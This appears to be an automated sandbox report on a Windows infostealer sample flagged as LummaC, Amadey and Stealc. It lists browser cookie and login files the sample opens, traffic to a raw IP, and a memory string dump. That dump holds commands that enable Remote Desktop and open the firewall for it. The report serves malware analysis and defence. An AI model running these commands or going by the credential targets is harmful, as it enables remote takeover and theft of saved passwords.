Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D3CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00D3CBEA

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C4DBA0 GetVersionExW,GetVersionExW,GetModuleHandleW,GetProcAddress,

14_2_00C4DBA0

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 51.2.powershell.exe.28b920b1198.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.2.powershell.exe.28b920b1198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1487650364.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1515970750.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1900446537.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1517264971.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic	TCP traffic: 192.168.2.8:49713 -> 138.124.35.95:80
Source: global traffic	TCP traffic: 192.168.2.8:50230 -> 138.124.35.95:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Contains functionality to start a terminal service

Source: powershell.exe, 00000033.00000002.2466870741.0000028B82402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: powershell.exe, 00000033.00000002.2466870741.0000028B82402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set6a02c43bc60cba83349fcb51d95a69ff4340bbf41c5952b1373dfe1ff8834fec03013ef114a05fa536c6b1b319e5107b8f9d06HT6SNcwyNeNzMjBoFt==Gz3h0dBleWBxbW2cRQezeHbmISToOt==PyPcdAMuESQjfJ==GSKjfJ==HGFU1wQ20O7oZg==M37RfQNuNhK60Q==P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3XlPuO0 oUQ==P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3UVbw7EdDUXy4XQFmedqVbGSk4vzLd3ra2VDzP3G9egJ2ev==PmKkT2QbKv1EKAyPSEiKAv7EN4y7P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3XlPu8nKl1zptOuxiPHym1WBidSB=P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3UVbw7EdDUXy4WV mdBliSm6kRzTDex==EVKKTOBRWfYITUuxBJ==SEunet==PEYKXt==M0KL6WFX9nBX82FX73BXTm XTXxX8GBX9WTXUGPXTXNX7HNX722X8jP=T3yc1vXldBm Z2uh5v3pdHrYT3yc1vXldBl=T2mgevXldBl=UDt=UTt=UTx=UTB=OWugd ==6HGRewgwNr==6HGReAE7NtX=UX7cUGmjT2Qb8HBo7XCg manG3uScPN1KGB+KGF+G1qjfP6qdiBxFyhiDw==aA==EnKlcQI KQ==827cdzoAOdUmcGt=62KpdfNtOuxw0GukM2KRVfx1cSOnV3ir6zTyUXZceu==PHym1WBidPGjeGC5LVOsWUIhWXYoeHa 5fS=LXOgefw=N2uqezNzeXi7JEu Q ==MVCwXt==PGul1zwhWXKleXGh6Ai=MGYafz1zKA3nZg==LVOyHzNnXz110RmV0WKT5fj5gR==LmaR1zNn1RUm0XF=OmYpfz1vP2Yncz1AL2YkdVJwQ2alTzNn1RUm0XF=HDtpOsI2Pe26PQ==8mx=92x=L2YlfzNvfxQWfXydGbzyfXrQdVvh8lVAUmYpdLTl0SGjPyya4WTz1HzohRUtGQ5yGSPkNLSuyQeudVX11RU2MUOh5WzAe3fQdU3uJgGr73ykNPJifBt9JG2 4PSdKnL8gEyiJwGr6Wmcdfxu1OPkDgPBSV1vfBKweCYM7QzqQjv8fFvs6USm9Gamdb1w0YGneCYr6AHq0XUDFeUKyQdkNLSuNNP=GSPEE ==K3CaecSyGmen1p==L2YlfzNvfxQWfXydGbzmeIvidUHh9EqA7iYVNQ64ftQoc3GlDQTDdHPk103kUUV=P1aKXxNOZzC3dnGd4gPId3ZQfk3sP005SECmdgJzdXmeR26l5AT51YDE1UVlSCSA7XqSfzNzVhuv0Q==L2YkeAN11SyQZWYdTWya1zNn1X7rbmqk4P3AeIzof1L19li9 XdnOMAAPyJ4OzdXDO6=GXKlcPFw1BJvP1aKXxNOZzC3dnGd4gPId3ZQfk3sP005SECmdgJzdXmeWW2h6zTpXnfa2U3cLYdTQFyGVypXUPGHU1t=P1aKXxNOZzCxcnOq4VvY1YKmPBzcP00D9maa1QFdShuBbWKw3QLBdHzV0DTpUE0AQmab1P1KTv==SDpnOws=MGKd0QNtfACneHOh4fbENmbI2VHv7F056WYlMGKd0QNtfACneHOh4fbENmfI2VHv7F056WYlP0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93B8VeJdSYKAdmSm6yXqeoHfe0Y=PHym1ANkfzUjcWR=HjpoQJ==HjppO ==HjpoP ==HjppPJ==L3KpefNvfzy3bWucSA==JjdX8nKl1zptOuxw0XedG2h8DnG9eVlscRmuJC6eAv7udTu9DipdLbt1cRQnc3SSAwClLjS72EPsDy==EiN8TQ qfxx=DipdLbtz1RTiDCNdKt==PGYU1QBAcBKucC2d7zS=GWKV1PF2fBaxcnyn4zjogTvo2UVv9E0E6W3l1PIhNPOrcGR9A ==Dg==827SfzJwfXTiMXJ9DQOlOB==83F0ep==8mul1z1uN2KW0f1iehFiUGCX4WT5ZGvo2UrvTUV=HDpnOws1OO =HDpnOws1Oex=HDpnOws1OeB=HDpnOws1OXN=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: powershell.exe, 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: powershell.exe, 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set6a02c43bc60cba83349fcb51d95a69ff4340bbf41c5952b1373dfe1ff8834fec03013ef114a05fa536c6b1b319e5107b8f9d06HT6SNcwyNeNzMjBoFt==Gz3h0dBleWBxbW2cRQezeHbmISToOt==PyPcdAMuESQjfJ==GSKjfJ==HGFU1wQ20O7oZg==M37RfQNuNhK60Q==P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3XlPuO0 oUQ==P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3UVbw7EdDUXy4XQFmedqVbGSk4vzLd3ra2VDzP3G9egJ2ev==PmKkT2QbKv1EKAyPSEiKAv7EN4y7P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3XlPu8nKl1zptOuxiPHym1WBidSB=P0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93C4SWNzehKweFWd5gLud3Z3UVbw7EdDUXy4WV mdBliSm6kRzTDex==EVKKTOBRWfYITUuxBJ==SEunet==PEYKXt==M0KL6WFX9nBX82FX73BXTm XTXxX8GBX9WTXUGPXTXNX7HNX722X8jP=T3yc1vXldBm Z2uh5v3pdHrYT3yc1vXldBl=T2mgevXldBl=UDt=UTt=UTx=UTB=OWugd ==6HGRewgwNr==6HGReAE7NtX=UX7cUGmjT2Qb8HBo7XCg manG3uScPN1KGB+KGF+G1qjfP6qdiBxFyhiDw==aA==EnKlcQI KQ==827cdzoAOdUmcGt=62KpdfNtOuxw0GukM2KRVfx1cSOnV3ir6zTyUXZceu==PHym1WBidPGjeGC5LVOsWUIhWXYoeHa 5fS=LXOgefw=N2uqezNzeXi7JEu Q ==MVCwXt==PGul1zwhWXKleXGh6Ai=MGYafz1zKA3nZg==LVOyHzNnXz110RmV0WKT5fj5gR==LmaR1zNn1RUm0XF=OmYpfz1vP2Yncz1AL2YkdVJwQ2alTzNn1RUm0XF=HDtpOsI2Pe26PQ==8mx=92x=L2YlfzNvfxQWfXydGbzyfXrQdVvh8lVAUmYpdLTl0SGjPyya4WTz1HzohRUtGQ5yGSPkNLSuyQeudVX11RU2MUOh5WzAe3fQdU3uJgGr73ykNPJifBt9JG2 4PSdKnL8gEyiJwGr6Wmcdfxu1OPkDgPBSV1vfBKweCYM7QzqQjv8fFvs6USm9Gamdb1w0YGneCYr6AHq0XUDFeUKyQdkNLSuNNP=GSPEE ==K3CaecSyGmen1p==L2YlfzNvfxQWfXydGbzmeIvidUHh9EqA7iYVNQ64ftQoc3GlDQTDdHPk103kUUV=P1aKXxNOZzC3dnGd4gPId3ZQfk3sP005SECmdgJzdXmeR26l5AT51YDE1UVlSCSA7XqSfzNzVhuv0Q==L2YkeAN11SyQZWYdTWya1zNn1X7rbmqk4P3AeIzof1L19li9 XdnOMAAPyJ4OzdXDO6=GXKlcPFw1BJvP1aKXxNOZzC3dnGd4gPId3ZQfk3sP005SECmdgJzdXmeWW2h6zTpXnfa2U3cLYdTQFyGVypXUPGHU1t=P1aKXxNOZzCxcnOq4VvY1YKmPBzcP00D9maa1QFdShuBbWKw3QLBdHzV0DTpUE0AQmab1P1KTv==SDpnOws=MGKd0QNtfACneHOh4fbENmbI2VHv7F056WYlMGKd0QNtfACneHOh4fbENmfI2VHv7F056WYlP0YxXy6CWfKeUWib5f7Ed3TQ0D8p7kWA93B8VeJdSYKAdmSm6yXqeoHfe0Y=PHym1ANkfzUjcWR=HjpoQJ==HjppO ==HjpoP ==HjppPJ==L3KpefNvfzy3bWucSA==JjdX8nKl1zptOuxw0XedG2h8DnG9eVlscRmuJC6eAv7udTu9DipdLbt1cRQnc3SSAwClLjS72EPsDy==EiN8TQ qfxx=DipdLbtz1RTiDCNdKt==PGYU1QBAcBKucC2d7zS=GWKV1PF2fBaxcnyn4zjogTvo2UVv9E0E6W3l1PIhNPOrcGR9A ==Dg==827SfzJwfXTiMXJ9DQOlOB==83F0ep==8mul1z1uN2KW0f1iehFiUGCX4WT5ZGvo2UrvTUV=HDpnOws1OO =HDpnOws1Oex=HDpnOws1OeB=HDpnOws1OXN=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	12 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Access Token Manipulation	111 Deobfuscate/Decode Files or Information	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	512 Process Injection	51 Obfuscated Files or Information	Security Account Manager	239 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	221 Software Packing	NTDS	881 Security Software Discovery	Distributed Component Object Model	3 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	271 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	271 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	512 Process Injection	/etc/passwd and /etc/shadow	2 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	58%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
